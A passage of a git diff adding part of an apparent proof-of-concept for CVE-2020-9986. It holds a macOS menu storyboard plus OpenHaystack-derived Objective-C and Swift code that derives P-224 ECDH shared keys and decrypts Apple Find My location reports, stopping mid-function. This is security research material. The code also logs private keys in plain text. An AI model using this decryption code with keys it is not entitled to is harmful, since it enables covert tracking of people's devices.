<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<connections>
|
||||
<action selector="capitalizeWord:" target="Ady-hI-5gd" id="26H-TL-nsh"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
</items>
|
||||
</menu>
|
||||
</menuItem>
|
||||
<menuItem title="Speech" id="xrE-MZ-jX0">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<menu key="submenu" title="Speech" id="3rS-ZA-NoH">
|
||||
<items>
|
||||
<menuItem title="Start Speaking" id="Ynk-f8-cLZ">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<connections>
|
||||
<action selector="startSpeaking:" target="Ady-hI-5gd" id="654-Ng-kyl"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem title="Stop Speaking" id="Oyz-dy-DGm">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<connections>
|
||||
<action selector="stopSpeaking:" target="Ady-hI-5gd" id="dX8-6p-jy9"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
</items>
|
||||
</menu>
|
||||
</menuItem>
|
||||
</items>
|
||||
</menu>
|
||||
</menuItem>
|
||||
<menuItem title="Format" id="jxT-CU-nIS">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<menu key="submenu" title="Format" id="GEO-Iw-cKr">
|
||||
<items>
|
||||
<menuItem title="Font" id="Gi5-1S-RQB">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<menu key="submenu" title="Font" systemMenu="font" id="aXa-aM-Jaq">
|
||||
<items>
|
||||
<menuItem title="Show Fonts" keyEquivalent="t" id="Q5e-8K-NDq">
|
||||
<connections>
|
||||
<action selector="orderFrontFontPanel:" target="YLy-65-1bz" id="WHr-nq-2xA"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem title="Bold" tag="2" keyEquivalent="b" id="GB9-OM-e27">
|
||||
<connections>
|
||||
<action selector="addFontTrait:" target="YLy-65-1bz" id="hqk-hr-sYV"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem title="Italic" tag="1" keyEquivalent="i" id="Vjx-xi-njq">
|
||||
<connections>
|
||||
<action selector="addFontTrait:" target="YLy-65-1bz" id="IHV-OB-c03"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem title="Underline" keyEquivalent="u" id="WRG-CD-K1S">
|
||||
<connections>
|
||||
<action selector="underline:" target="Ady-hI-5gd" id="FYS-2b-JAY"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem isSeparatorItem="YES" id="5gT-KC-WSO"/>
|
||||
<menuItem title="Bigger" tag="3" keyEquivalent="+" id="Ptp-SP-VEL">
|
||||
<connections>
|
||||
<action selector="modifyFont:" target="YLy-65-1bz" id="Uc7-di-UnL"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem title="Smaller" tag="4" keyEquivalent="-" id="i1d-Er-qST">
|
||||
<connections>
|
||||
<action selector="modifyFont:" target="YLy-65-1bz" id="HcX-Lf-eNd"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem isSeparatorItem="YES" id="kx3-Dk-x3B"/>
|
||||
<menuItem title="Kern" id="jBQ-r6-VK2">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<menu key="submenu" title="Kern" id="tlD-Oa-oAM">
|
||||
<items>
|
||||
<menuItem title="Use Default" id="GUa-eO-cwY">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<connections>
|
||||
<action selector="useStandardKerning:" target="Ady-hI-5gd" id="6dk-9l-Ckg"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem title="Use None" id="cDB-IK-hbR">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<connections>
|
||||
<action selector="turnOffKerning:" target="Ady-hI-5gd" id="U8a-gz-Maa"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem title="Tighten" id="46P-cB-AYj">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<connections>
|
||||
<action selector="tightenKerning:" target="Ady-hI-5gd" id="hr7-Nz-8ro"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem title="Loosen" id="ogc-rX-tC1">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<connections>
|
||||
<action selector="loosenKerning:" target="Ady-hI-5gd" id="8i4-f9-FKE"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
</items>
|
||||
</menu>
|
||||
</menuItem>
|
||||
<menuItem title="Ligatures" id="o6e-r0-MWq">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<menu key="submenu" title="Ligatures" id="w0m-vy-SC9">
|
||||
<items>
|
||||
<menuItem title="Use Default" id="agt-UL-0e3">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<connections>
|
||||
<action selector="useStandardLigatures:" target="Ady-hI-5gd" id="7uR-wd-Dx6"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem title="Use None" id="J7y-lM-qPV">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<connections>
|
||||
<action selector="turnOffLigatures:" target="Ady-hI-5gd" id="iX2-gA-Ilz"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem title="Use All" id="xQD-1f-W4t">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<connections>
|
||||
<action selector="useAllLigatures:" target="Ady-hI-5gd" id="KcB-kA-TuK"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
</items>
|
||||
</menu>
|
||||
</menuItem>
|
||||
<menuItem title="Baseline" id="OaQ-X3-Vso">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<menu key="submenu" title="Baseline" id="ijk-EB-dga">
|
||||
<items>
|
||||
<menuItem title="Use Default" id="3Om-Ey-2VK">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<connections>
|
||||
<action selector="unscript:" target="Ady-hI-5gd" id="0vZ-95-Ywn"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem title="Superscript" id="Rqc-34-cIF">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<connections>
|
||||
<action selector="superscript:" target="Ady-hI-5gd" id="3qV-fo-wpU"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem title="Subscript" id="I0S-gh-46l">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<connections>
|
||||
<action selector="subscript:" target="Ady-hI-5gd" id="Q6W-4W-IGz"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem title="Raise" id="2h7-ER-AoG">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<connections>
|
||||
<action selector="raiseBaseline:" target="Ady-hI-5gd" id="4sk-31-7Q9"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem title="Lower" id="1tx-W0-xDw">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<connections>
|
||||
<action selector="lowerBaseline:" target="Ady-hI-5gd" id="OF1-bc-KW4"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
</items>
|
||||
</menu>
|
||||
</menuItem>
|
||||
<menuItem isSeparatorItem="YES" id="Ndw-q3-faq"/>
|
||||
<menuItem title="Show Colors" keyEquivalent="C" id="bgn-CT-cEk">
|
||||
<connections>
|
||||
<action selector="orderFrontColorPanel:" target="Ady-hI-5gd" id="mSX-Xz-DV3"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem isSeparatorItem="YES" id="iMs-zA-UFJ"/>
|
||||
<menuItem title="Copy Style" keyEquivalent="c" id="5Vv-lz-BsD">
|
||||
<modifierMask key="keyEquivalentModifierMask" option="YES" command="YES"/>
|
||||
<connections>
|
||||
<action selector="copyFont:" target="Ady-hI-5gd" id="GJO-xA-L4q"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem title="Paste Style" keyEquivalent="v" id="vKC-jM-MkH">
|
||||
<modifierMask key="keyEquivalentModifierMask" option="YES" command="YES"/>
|
||||
<connections>
|
||||
<action selector="pasteFont:" target="Ady-hI-5gd" id="JfD-CL-leO"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
</items>
|
||||
</menu>
|
||||
</menuItem>
|
||||
<menuItem title="Text" id="Fal-I4-PZk">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<menu key="submenu" title="Text" id="d9c-me-L2H">
|
||||
<items>
|
||||
<menuItem title="Align Left" keyEquivalent="{" id="ZM1-6Q-yy1">
|
||||
<connections>
|
||||
<action selector="alignLeft:" target="Ady-hI-5gd" id="zUv-R1-uAa"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem title="Center" keyEquivalent="|" id="VIY-Ag-zcb">
|
||||
<connections>
|
||||
<action selector="alignCenter:" target="Ady-hI-5gd" id="spX-mk-kcS"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem title="Justify" id="J5U-5w-g23">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<connections>
|
||||
<action selector="alignJustified:" target="Ady-hI-5gd" id="ljL-7U-jND"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem title="Align Right" keyEquivalent="}" id="wb2-vD-lq4">
|
||||
<connections>
|
||||
<action selector="alignRight:" target="Ady-hI-5gd" id="r48-bG-YeY"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem isSeparatorItem="YES" id="4s2-GY-VfK"/>
|
||||
<menuItem title="Writing Direction" id="H1b-Si-o9J">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<menu key="submenu" title="Writing Direction" id="8mr-sm-Yjd">
|
||||
<items>
|
||||
<menuItem title="Paragraph" enabled="NO" id="ZvO-Gk-QUH">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
</menuItem>
|
||||
<menuItem id="YGs-j5-SAR">
|
||||
<string key="title"> Default</string>
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<connections>
|
||||
<action selector="makeBaseWritingDirectionNatural:" target="Ady-hI-5gd" id="qtV-5e-UBP"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem id="Lbh-J2-qVU">
|
||||
<string key="title"> Left to Right</string>
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<connections>
|
||||
<action selector="makeBaseWritingDirectionLeftToRight:" target="Ady-hI-5gd" id="S0X-9S-QSf"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem id="jFq-tB-4Kx">
|
||||
<string key="title"> Right to Left</string>
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<connections>
|
||||
<action selector="makeBaseWritingDirectionRightToLeft:" target="Ady-hI-5gd" id="5fk-qB-AqJ"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem isSeparatorItem="YES" id="swp-gr-a21"/>
|
||||
<menuItem title="Selection" enabled="NO" id="cqv-fj-IhA">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
</menuItem>
|
||||
<menuItem id="Nop-cj-93Q">
|
||||
<string key="title"> Default</string>
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<connections>
|
||||
<action selector="makeTextWritingDirectionNatural:" target="Ady-hI-5gd" id="lPI-Se-ZHp"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem id="BgM-ve-c93">
|
||||
<string key="title"> Left to Right</string>
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<connections>
|
||||
<action selector="makeTextWritingDirectionLeftToRight:" target="Ady-hI-5gd" id="caW-Bv-w94"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem id="RB4-Sm-HuC">
|
||||
<string key="title"> Right to Left</string>
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<connections>
|
||||
<action selector="makeTextWritingDirectionRightToLeft:" target="Ady-hI-5gd" id="EXD-6r-ZUu"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
</items>
|
||||
</menu>
|
||||
</menuItem>
|
||||
<menuItem isSeparatorItem="YES" id="fKy-g9-1gm"/>
|
||||
<menuItem title="Show Ruler" id="vLm-3I-IUL">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<connections>
|
||||
<action selector="toggleRuler:" target="Ady-hI-5gd" id="FOx-HJ-KwY"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem title="Copy Ruler" keyEquivalent="c" id="MkV-Pr-PK5">
|
||||
<modifierMask key="keyEquivalentModifierMask" control="YES" command="YES"/>
|
||||
<connections>
|
||||
<action selector="copyRuler:" target="Ady-hI-5gd" id="71i-fW-3W2"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem title="Paste Ruler" keyEquivalent="v" id="LVM-kO-fVI">
|
||||
<modifierMask key="keyEquivalentModifierMask" control="YES" command="YES"/>
|
||||
<connections>
|
||||
<action selector="pasteRuler:" target="Ady-hI-5gd" id="cSh-wd-qM2"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
</items>
|
||||
</menu>
|
||||
</menuItem>
|
||||
</items>
|
||||
</menu>
|
||||
</menuItem>
|
||||
<menuItem title="View" id="H8h-7b-M4v">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<menu key="submenu" title="View" id="HyV-fh-RgO">
|
||||
<items>
|
||||
<menuItem title="Show Toolbar" keyEquivalent="t" id="snW-S8-Cw5">
|
||||
<modifierMask key="keyEquivalentModifierMask" option="YES" command="YES"/>
|
||||
<connections>
|
||||
<action selector="toggleToolbarShown:" target="Ady-hI-5gd" id="BXY-wc-z0C"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem title="Customize Toolbar…" id="1UK-8n-QPP">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<connections>
|
||||
<action selector="runToolbarCustomizationPalette:" target="Ady-hI-5gd" id="pQI-g3-MTW"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem isSeparatorItem="YES" id="hB3-LF-h0Y"/>
|
||||
<menuItem title="Show Sidebar" keyEquivalent="s" id="kIP-vf-haE">
|
||||
<modifierMask key="keyEquivalentModifierMask" control="YES" command="YES"/>
|
||||
<connections>
|
||||
<action selector="toggleSidebar:" target="Ady-hI-5gd" id="iwa-gc-5KM"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem title="Enter Full Screen" keyEquivalent="f" id="4J7-dP-txa">
|
||||
<modifierMask key="keyEquivalentModifierMask" control="YES" command="YES"/>
|
||||
<connections>
|
||||
<action selector="toggleFullScreen:" target="Ady-hI-5gd" id="dU3-MA-1Rq"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
</items>
|
||||
</menu>
|
||||
</menuItem>
|
||||
<menuItem title="Window" id="aUF-d1-5bR">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<menu key="submenu" title="Window" systemMenu="window" id="Td7-aD-5lo">
|
||||
<items>
|
||||
<menuItem title="Minimize" keyEquivalent="m" id="OY7-WF-poV">
|
||||
<connections>
|
||||
<action selector="performMiniaturize:" target="Ady-hI-5gd" id="VwT-WD-YPe"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem title="Zoom" id="R4o-n2-Eq4">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<connections>
|
||||
<action selector="performZoom:" target="Ady-hI-5gd" id="DIl-cC-cCs"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem isSeparatorItem="YES" id="eu3-7i-yIM"/>
|
||||
<menuItem title="Bring All to Front" id="LE2-aR-0XJ">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<connections>
|
||||
<action selector="arrangeInFront:" target="Ady-hI-5gd" id="DRN-fu-gQh"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
</items>
|
||||
</menu>
|
||||
</menuItem>
|
||||
<menuItem title="Help" id="wpr-3q-Mcd">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<menu key="submenu" title="Help" systemMenu="help" id="F2S-fz-NVQ">
|
||||
<items>
|
||||
<menuItem title="OFFetchReports Help" keyEquivalent="?" id="FKE-Sm-Kum">
|
||||
<connections>
|
||||
<action selector="showHelp:" target="Ady-hI-5gd" id="y7X-2Q-9no"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
</items>
|
||||
</menu>
|
||||
</menuItem>
|
||||
</items>
|
||||
</menu>
|
||||
<connections>
|
||||
<outlet property="delegate" destination="Voe-Tx-rLC" id="PrD-fu-P6m"/>
|
||||
</connections>
|
||||
</application>
|
||||
<customObject id="Voe-Tx-rLC" customClass="AppDelegate" customModuleProvider="target"/>
|
||||
<customObject id="YLy-65-1bz" customClass="NSFontManager"/>
|
||||
<customObject id="Ady-hI-5gd" userLabel="First Responder" customClass="NSResponder" sceneMemberID="firstResponder"/>
|
||||
</objects>
|
||||
<point key="canvasLocation" x="75" y="0.0"/>
|
||||
</scene>
|
||||
</scenes>
|
||||
</document>
|
||||
@@ -0,0 +1,29 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
NS_ASSUME_NONNULL_BEGIN
|
||||
|
||||
@interface BoringSSL : NSObject
|
||||
|
||||
+ (NSData * _Nullable) deriveSharedKeyFromPrivateKey: (NSData *) privateKey andEphemeralKey: (NSData*) ephemeralKeyPoint;
|
||||
|
||||
/// Derive a public key from a given private key
|
||||
/// @param privateKeyData an EC private key on the P-224 curve
|
||||
/// @returns The public key in a compressed format using 29 bytes. The first byte is used for identifying if its odd or even.
|
||||
/// For OF the first byte has to be dropped
|
||||
+ (NSData * _Nullable) derivePublicKeyFromPrivateKey: (NSData*) privateKeyData;
|
||||
|
||||
/// Generate a new EC private key and exports it as data
|
||||
+ (NSData * _Nullable) generateNewPrivateKey;
|
||||
|
||||
@end
|
||||
|
||||
NS_ASSUME_NONNULL_END
|
||||
175
CVE-2020-9986/OFReadKeys/OFFetchReports/BoringSSL/BoringSSL.m
Normal file
175
CVE-2020-9986/OFReadKeys/OFFetchReports/BoringSSL/BoringSSL.m
Normal file
@@ -0,0 +1,175 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
#import "BoringSSL.h"
|
||||
|
||||
#include <CNIOBoringSSL.h>
|
||||
#include <CNIOBoringSSL_ec.h>
|
||||
#include <CNIOBoringSSL_ec_key.h>
|
||||
#include <CNIOBoringSSL_evp.h>
|
||||
#include <CNIOBoringSSL_hkdf.h>
|
||||
#include <CNIOBoringSSL_pkcs7.h>
|
||||
|
||||
@implementation BoringSSL
|
||||
|
||||
+ (NSData * _Nullable) deriveSharedKeyFromPrivateKey: (NSData *) privateKey andEphemeralKey: (NSData*) ephemeralKeyPoint {
|
||||
|
||||
NSLog(@"Private key %@", [privateKey base64EncodedStringWithOptions:0]);
|
||||
NSLog(@"Ephemeral key %@", [ephemeralKeyPoint base64EncodedStringWithOptions:0]);
|
||||
|
||||
EC_GROUP *curve = EC_GROUP_new_by_curve_name(NID_secp224r1);
|
||||
|
||||
EC_KEY *key = [self deriveEllipticCurvePrivateKey:privateKey group:curve];
|
||||
|
||||
const EC_POINT *genPubKey = EC_KEY_get0_public_key(key);
|
||||
[self printPoint:genPubKey withGroup:curve];
|
||||
|
||||
EC_POINT *publicKey = EC_POINT_new(curve);
|
||||
size_t load_success = EC_POINT_oct2point(curve, publicKey, ephemeralKeyPoint.bytes, ephemeralKeyPoint.length, NULL);
|
||||
if (load_success == 0) {
|
||||
NSLog(@"Failed loading public key!");
|
||||
return nil;
|
||||
}
|
||||
|
||||
NSMutableData *sharedKey = [[NSMutableData alloc] initWithLength:28];
|
||||
|
||||
int res = ECDH_compute_key(sharedKey.mutableBytes, sharedKey.length, publicKey, key, nil);
|
||||
|
||||
if (res < 1) {
|
||||
NSLog(@"Failed with error: %d", res);
|
||||
BIO *bio = BIO_new(BIO_s_mem());
|
||||
ERR_print_errors(bio);
|
||||
char *buf;
|
||||
size_t len = BIO_get_mem_data(bio, &buf);
|
||||
NSLog(@"Generating shared key failed %s", buf);
|
||||
BIO_free(bio);
|
||||
}
|
||||
|
||||
NSLog(@"Shared key: %@", [sharedKey base64EncodedStringWithOptions:0]);
|
||||
|
||||
return sharedKey;
|
||||
}
|
||||
|
||||
+ (EC_POINT * _Nullable) loadEllipticCurvePublicBytesWith: (EC_GROUP *) group andPointBytes: (NSData *) pointBytes {
|
||||
|
||||
EC_POINT* point = EC_POINT_new(group);
|
||||
|
||||
//Create big number context
|
||||
BN_CTX *ctx = BN_CTX_new();
|
||||
BN_CTX_start(ctx);
|
||||
|
||||
//Public key will be stored in point
|
||||
int res = EC_POINT_oct2point(group, point, pointBytes.bytes, pointBytes.length, ctx);
|
||||
[self printPoint:point withGroup:group];
|
||||
|
||||
//Free the big numbers
|
||||
BN_CTX_free(ctx);
|
||||
|
||||
if (res != 1) {
|
||||
//Failed
|
||||
return nil;
|
||||
}
|
||||
|
||||
return point;
|
||||
}
|
||||
|
||||
|
||||
/// Get the private key on the curve from the private key bytes
|
||||
/// @param privateKeyData NSData representing the private key
|
||||
/// @param group The EC group representing the curve to use
|
||||
+ (EC_KEY * _Nullable) deriveEllipticCurvePrivateKey: (NSData *)privateKeyData group: (EC_GROUP *) group {
|
||||
EC_KEY *key = EC_KEY_new_by_curve_name(NID_secp224r1);
|
||||
EC_POINT *point = EC_POINT_new(group);
|
||||
|
||||
BN_CTX *ctx = BN_CTX_new();
|
||||
BN_CTX_start(ctx);
|
||||
|
||||
|
||||
BIGNUM *privateKeyNum = BN_bin2bn(privateKeyData.bytes, privateKeyData.length, nil);
|
||||
|
||||
int res = EC_POINT_mul(group, point, privateKeyNum, nil, nil, ctx);
|
||||
if (res != 1) {
|
||||
NSLog(@"Failed");
|
||||
return nil;
|
||||
}
|
||||
|
||||
res = EC_KEY_set_public_key(key, point);
|
||||
if (res != 1) {
|
||||
NSLog(@"Failed");
|
||||
return nil;
|
||||
}
|
||||
|
||||
privateKeyNum = BN_bin2bn(privateKeyData.bytes, privateKeyData.length, nil);
|
||||
EC_KEY_set_private_key(key, privateKeyNum);
|
||||
|
||||
|
||||
//Free the big numbers
|
||||
BN_CTX_free(ctx);
|
||||
|
||||
return key;
|
||||
}
|
||||
|
||||
|
||||
/// Derive a public key from a given private key
|
||||
/// @param privateKeyData an EC private key on the P-224 curve
|
||||
+ (NSData * _Nullable) derivePublicKeyFromPrivateKey: (NSData*) privateKeyData {
|
||||
EC_GROUP *curve = EC_GROUP_new_by_curve_name(NID_secp224r1);
|
||||
EC_KEY *key = [self deriveEllipticCurvePrivateKey:privateKeyData group:curve];
|
||||
|
||||
const EC_POINT *publicKey = EC_KEY_get0_public_key(key);
|
||||
|
||||
size_t keySize = 28 + 1;
|
||||
NSMutableData *publicKeyBytes = [[NSMutableData alloc] initWithLength:keySize];
|
||||
|
||||
size_t size = EC_POINT_point2oct(curve, publicKey, POINT_CONVERSION_COMPRESSED, publicKeyBytes.mutableBytes, keySize, NULL);
|
||||
|
||||
if (size == 0) {
|
||||
return nil;
|
||||
}
|
||||
|
||||
return publicKeyBytes;
|
||||
}
|
||||
|
||||
+ (NSData * _Nullable)generateNewPrivateKey {
|
||||
EC_KEY *key = EC_KEY_new_by_curve_name(NID_secp224r1);
|
||||
if (EC_KEY_generate_key_fips(key) == 0) {
|
||||
return nil;
|
||||
}
|
||||
|
||||
const BIGNUM *privateKey = EC_KEY_get0_private_key(key);
|
||||
size_t keySize = BN_num_bytes(privateKey);
|
||||
//Convert to bytes
|
||||
NSMutableData *privateKeyBytes = [[NSMutableData alloc] initWithLength:keySize];
|
||||
|
||||
|
||||
size_t size = BN_bn2bin(privateKey, privateKeyBytes.mutableBytes);
|
||||
|
||||
if (size == 0) {
|
||||
return nil;
|
||||
}
|
||||
|
||||
return privateKeyBytes;
|
||||
}
|
||||
|
||||
+ (void) printPoint: (const EC_POINT *)point withGroup:(EC_GROUP *)group {
|
||||
NSMutableData *pointData = [[NSMutableData alloc] initWithLength:256];
|
||||
|
||||
size_t len = pointData.length;
|
||||
BN_CTX *ctx = BN_CTX_new();
|
||||
BN_CTX_start(ctx);
|
||||
size_t res = EC_POINT_point2oct(group, point, POINT_CONVERSION_UNCOMPRESSED, pointData.mutableBytes, len, ctx);
|
||||
//Free the big numbers
|
||||
BN_CTX_free(ctx);
|
||||
|
||||
NSData *written = [[NSData alloc] initWithBytes:pointData.bytes length:res];
|
||||
|
||||
NSLog(@"Point data is: %@", [written base64EncodedStringWithOptions:0]);
|
||||
}
|
||||
|
||||
@end
|
||||
@@ -0,0 +1,15 @@
|
||||
//
|
||||
// Bridging-Header.h
|
||||
// OFReadKeys
|
||||
//
|
||||
// Created by Alex - SEEMOO on 04.03.21.
|
||||
// Copyright © 2021 SEEMOO - TU Darmstadt. All rights reserved.
|
||||
//
|
||||
|
||||
#ifndef Bridging_Header_h
|
||||
#define Bridging_Header_h
|
||||
|
||||
#import "BoringSSL.h"
|
||||
#import "ReportsFetcher.h"
|
||||
|
||||
#endif /* Bridging_Header_h */
|
||||
23
CVE-2020-9986/OFReadKeys/OFFetchReports/ContentView.swift
Normal file
23
CVE-2020-9986/OFReadKeys/OFFetchReports/ContentView.swift
Normal file
@@ -0,0 +1,23 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
|
||||
struct ContentView: View {
|
||||
var body: some View {
|
||||
Text("Hello, World!")
|
||||
.frame(maxWidth: .infinity, maxHeight: .infinity)
|
||||
}
|
||||
}
|
||||
|
||||
struct ContentView_Previews: PreviewProvider {
|
||||
static var previews: some View {
|
||||
ContentView()
|
||||
}
|
||||
}
|
||||
99
CVE-2020-9986/OFReadKeys/OFFetchReports/FindMy/DecryptReports.swift
Executable file
99
CVE-2020-9986/OFReadKeys/OFFetchReports/FindMy/DecryptReports.swift
Executable file
@@ -0,0 +1,99 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import CryptoKit
|
||||
|
||||
struct DecryptReports {
|
||||
|
||||
/// Decrypt a find my report with the according key
|
||||
/// - Parameters:
|
||||
/// - report: An encrypted FindMy Report
|
||||
/// - key: A FindMyKey
|
||||
/// - Throws: Errors if the decryption fails
|
||||
/// - Returns: An decrypted location report
|
||||
static func decrypt(report: FindMyReport, with key: FindMyKey) throws -> FindMyLocationReport {
|
||||
let payloadData = report.payload
|
||||
let keyData = key.privateKey
|
||||
|
||||
let privateKey = keyData
|
||||
let ephemeralKey = payloadData.subdata(in: 5..<62)
|
||||
|
||||
guard let sharedKey = BoringSSL.deriveSharedKey(
|
||||
fromPrivateKey: privateKey,
|
||||
andEphemeralKey: ephemeralKey) else {
|
||||
throw FindMyError.decryptionError(description: "Failed generating shared key")
|
||||
}
|
||||
|
||||
let derivedKey = self.kdf(fromSharedSecret: sharedKey, andEphemeralKey: ephemeralKey)
|
||||
|
||||
print("Derived key \(derivedKey.base64EncodedString())")
|
||||
|
||||
let encData = payloadData.subdata(in: 62..<72)
|
||||
let tag = payloadData.subdata(in: 72..<payloadData.endIndex)
|
||||
|
||||
let decryptedContent = try self.decryptPayload(payload: encData, symmetricKey: derivedKey, tag: tag)
|
||||
let locationReport = self.decode(content: decryptedContent, report: report)
|
||||
print(locationReport)
|
||||
return locationReport
|
||||
}
|
||||
|
||||
/// Decrypt the payload
|
||||
/// - Parameters:
|
||||
/// - payload: Encrypted payload part
|
||||
/// - symmetricKey: Symmetric key
|
||||
/// - tag: AES GCM tag
|
||||
/// - Throws: AES GCM error
|
||||
/// - Returns: Decrypted error
|
||||
static func decryptPayload(payload: Data, symmetricKey: Data, tag: Data) throws -> Data {
|
||||
let decryptionKey = symmetricKey.subdata(in: 0..<16)
|
||||
let iv = symmetricKey.subdata(in: 16..<symmetricKey.endIndex)
|
||||
|
||||
print("Decryption Key \(decryptionKey.base64EncodedString())")
|
||||
print("IV \(iv.base64EncodedString())")
|
||||
|
||||
let sealedBox = try AES.GCM.SealedBox(nonce: AES.GCM.Nonce(data: iv), ciphertext: payload, tag: tag)
|
||||
let symKey = SymmetricKey(data: decryptionKey)
|
||||
let decrypted = try AES.GCM.open(sealedBox, using: symKey)
|
||||
|
||||
return decrypted
|
||||
}
|
||||
|
||||
static func decode(content: Data, report: FindMyReport) -> FindMyLocationReport {
|
||||
var longitude: Int32 = 0
|
||||
